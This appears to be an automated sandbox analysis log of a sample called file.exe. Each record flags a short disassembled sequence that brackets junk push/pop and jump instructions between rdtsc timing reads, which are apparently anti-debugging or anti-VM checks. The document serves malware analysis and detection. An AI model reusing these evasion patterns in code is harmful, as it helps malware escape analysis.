Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF7F4A second address: BF7F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF80DE second address: BF80F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE58927655Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEEE4 second address: BFEEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFEEEE second address: BFEEF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF880 second address: BFF8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802F08h 0x00000007 jmp 00007FE589802F07h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FE589802F06h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF8CD second address: BFF8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF8D1 second address: BFF8FD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE589802EF6h 0x00000008 jmp 00007FE589802F09h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF8FD second address: BFF924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FE589276562h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF924 second address: BFF92D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF92D second address: BFF94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276567h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF94F second address: BFF953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFFC01 second address: BFFC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0018F second address: C00193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00193 second address: C001A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C001A7 second address: C001AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00524 second address: C00538 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007FE589276556h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0082D second address: C00839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00839 second address: C0086D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE58927655Dh 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FE589276564h 0x00000012 jbe 00007FE589276556h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0086D second address: C00871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00B08 second address: C00B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276564h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C063B5 second address: C063CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C063CA second address: C063D6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE58927655Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0A239 second address: C0A25B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFBh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE589802EFFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5AFE9 second address: B5AFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5AFEF second address: B5B00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FE589802EFCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007FE589802EF6h 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5B00E second address: B5B013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5B013 second address: B5B02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE589802F02h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5B02B second address: B5B02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09696 second address: C0969F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09909 second address: C09913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE589276556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09913 second address: C09917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09A79 second address: C09A9B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE589276562h 0x0000000c jc 00007FE589276556h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09A9B second address: C09AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09AA3 second address: C09AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11F77 second address: C11F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10027 second address: C10057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE589276569h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10057 second address: C1008B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FE589802EF6h 0x00000009 jmp 00007FE589802EFEh 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007FE589802F07h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1008B second address: C100AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007FE589276567h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C107F2 second address: C10807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFEh 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1095D second address: C10976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10976 second address: C109D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jbe 00007FE589802F11h 0x0000000d jnl 00007FE589802EFCh 0x00000013 jmp 00007FE589802F09h 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007FE589802EF6h 0x00000020 jnc 00007FE589802EF6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B26 second address: C10B2B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B2B second address: C10B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FE589802EFAh 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B43 second address: C10B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B4C second address: C10B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B50 second address: C10B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10B58 second address: C10B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE589802F01h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17976 second address: C1797A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A5E5 second address: C1A602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE589802F08h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1A602 second address: C1A612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE58927655Ah 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1D188 second address: C1D18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1D18C second address: C1D1A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276563h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50DFB second address: B50DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50DFF second address: B50E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50E09 second address: B50E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C241EC second address: C241F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C241F0 second address: C241F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C241F6 second address: C241FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A87D second address: C2A882 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2A882 second address: C2A888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2C2B3 second address: C2C2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2E2C5 second address: C2E2CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2E2CB second address: C2E2E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE589802F03h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2DE4B second address: C2DE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jmp 00007FE589276569h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2DFE6 second address: C2DFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE589802EFAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40554 second address: C40559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C40559 second address: C4055E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4055E second address: C40568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C428D3 second address: C428D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C49DC9 second address: C49DD3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE589276556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48855 second address: C4888E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 je 00007FE589802EF6h 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e jno 00007FE589802F02h 0x00000014 push edi 0x00000015 jmp 00007FE589802F00h 0x0000001a pop edi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4888E second address: C488AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE589276566h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C488AA second address: C488AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C488AE second address: C488C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE58927655Ch 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C490C6 second address: C490D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D599 second address: C4D5B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007FE589276556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007FE589276556h 0x00000013 jp 00007FE589276556h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D5B5 second address: C4D5BA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D717 second address: C4D71D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D71D second address: C4D721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E2FE second address: C5E302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E302 second address: C5E30A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E30A second address: C5E315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE589276556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E315 second address: C5E32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FE589802EFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E184 second address: C5E1A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E1A3 second address: C5E1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589802F07h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58440 second address: C5844A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE589276556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CE54 second address: C6CE7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FE589802F01h 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6CE7F second address: C6CE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C99D second address: C6C9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FE589802F00h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8704D second address: C87066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276561h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85EE6 second address: C85F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE589802EF6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pushad 0x0000000e js 00007FE589802EF6h 0x00000014 jmp 00007FE589802F03h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85F12 second address: C85F3C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 jmp 00007FE589276569h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FE589276556h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86313 second address: C8631A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86470 second address: C864A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276567h 0x00000007 push eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FE58927655Ah 0x00000015 push esi 0x00000016 pop esi 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c jnp 00007FE589276556h 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C864A5 second address: C864AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C864AA second address: C864CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE589276567h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C867D5 second address: C867E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589802EFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88726 second address: C88730 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE589276562h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88730 second address: C88744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE589802EF6h 0x0000000a ja 00007FE589802EFEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C88744 second address: C8874F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
